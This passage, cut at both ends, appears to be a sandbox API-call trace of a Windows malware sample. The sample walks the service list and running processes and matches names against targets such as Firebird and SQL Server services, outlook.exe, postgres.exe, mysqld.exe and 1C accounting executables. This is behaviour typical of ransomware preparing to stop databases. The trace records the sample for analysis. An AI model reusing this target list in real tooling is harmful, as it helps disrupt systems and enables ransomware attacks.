(lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0264.490] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0264.490] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0264.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0264.491] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.491] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.491] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.491] lstrlenW (lpString="lmhosts") returned 7 [0264.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.491] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.492] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.493] lstrlenW (lpString="MMCSS") returned 5 [0264.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0264.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0264.493] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0264.493] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0264.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0264.493] lstrlenW (lpString="MpsSvc") returned 6 [0264.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.493] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.493] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.494] lstrlenW (lpString="Netman") returned 6 [0264.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0264.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0264.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0264.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0264.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0264.494] lstrlenW (lpString="netprofm") returned 8 [0264.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0264.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0264.494] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0264.494] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0264.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0264.494] lstrlenW (lpString="NlaSvc") returned 6 [0264.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.494] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.495] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.495] lstrlenW (lpString="nsi") returned 3 [0264.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.495] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.495] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.495] lstrlenW (lpString="PcaSvc") returned 6 [0264.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.495] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.495] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.496] lstrlenW (lpString="PlugPlay") returned 8 [0264.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.496] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.496] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.496] lstrlenW (lpString="Power") returned 5 [0264.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.497] lstrlenW (lpString="ProfSvc") returned 7 [0264.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.497] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.498] lstrlenW (lpString="RpcSs") returned 5 [0264.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.498] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.498] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.498] lstrlenW (lpString="SamSs") returned 5 [0264.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.499] lstrlenW (lpString="Schedule") returned 8 [0264.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.499] lstrlenW (lpString="SENS") returned 4 [0264.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.499] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.499] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.499] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.500] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.500] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.500] lstrlenW (lpString="Spooler") returned 7 [0264.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.500] lstrlenW (lpString="SysMain") returned 7 [0264.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.501] lstrlenW (lpString="Themes") returned 6 [0264.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0264.502] lstrlenW (lpString="TrkWks") returned 6 [0264.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0264.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0264.502] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0264.502] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0264.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0264.502] lstrlenW (lpString="UxSms") returned 5 [0264.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0264.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0264.502] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0264.502] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0264.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0264.503] lstrlenW (lpString="WdiServiceHost") returned 14 [0264.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0264.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0264.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0264.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0264.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0264.503] lstrlenW (lpString="WdiSystemHost") returned 13 [0264.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0264.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0264.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0264.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0264.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0264.503] lstrlenW (lpString="Winmgmt") returned 7 [0264.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0264.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0264.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0264.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0264.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0264.504] lstrlenW (lpString="WPDBusEnum") returned 10 [0264.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0264.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0264.504] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0264.504] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0264.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0264.504] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0264.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b8 [0264.511] Process32FirstW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.512] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.513] lstrlenW (lpString="System") returned 6 [0264.513] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0264.513] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0264.513] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0264.513] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0264.513] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0264.513] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0264.513] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0264.513] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.515] lstrlenW (lpString="smss.exe") returned 8 [0264.515] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0264.515] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0264.515] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0264.515] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0264.515] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0264.515] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0264.515] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0264.515] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.516] lstrlenW (lpString="csrss.exe") returned 9 [0264.516] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.516] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.516] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.516] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.517] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.517] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.517] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.517] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.518] lstrlenW (lpString="wininit.exe") returned 11 [0264.518] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0264.518] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0264.518] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0264.518] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0264.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0264.518] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0264.518] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0264.518] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.519] lstrlenW (lpString="csrss.exe") returned 9 [0264.519] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.519] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.520] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.520] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.520] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.520] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.520] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.521] lstrlenW (lpString="winlogon.exe") returned 12 [0264.521] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0264.521] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0264.521] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0264.521] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0264.521] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.522] lstrlenW (lpString="services.exe") returned 12 [0264.523] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.648] lstrlenW (lpString="lsass.exe") returned 9 [0264.649] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.650] lstrlenW (lpString="lsm.exe") returned 7 [0264.650] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.651] lstrlenW (lpString="svchost.exe") returned 11 [0264.651] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.652] lstrlenW (lpString="svchost.exe") returned 11 [0264.652] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.653] lstrlenW (lpString="svchost.exe") returned 11 [0264.653] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.654] lstrlenW (lpString="svchost.exe") returned 11 [0264.654] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.655] lstrlenW (lpString="svchost.exe") returned 11 [0264.655] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.656] lstrlenW (lpString="audiodg.exe") returned 11 [0264.656] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.657] lstrlenW (lpString="svchost.exe") returned 11 [0264.657] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.658] lstrlenW (lpString="explorer.exe") returned 12 [0264.659] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.659] lstrlenW (lpString="dwm.exe") returned 7 [0264.660] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.660] lstrlenW (lpString="svchost.exe") returned 11 [0264.661] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0264.662] lstrlenW (lpString="winhost.exe") returned 11 [0264.662] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.663] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.663] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.664] lstrlenW (lpString="svchost.exe") returned 11 [0264.664] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.665] lstrlenW (lpString="taskhost.exe") returned 12 [0264.665] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0264.667] lstrlenW (lpString="reader_sl.exe") returned 13 [0264.667] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.668] lstrlenW (lpString="taskhost.exe") returned 12 [0264.668] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.669] lstrlenW (lpString="dllhost.exe") returned 11 [0264.669] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0264.670] lstrlenW (lpString="consent.exe") returned 11 [0264.670] Process32NextW (in: 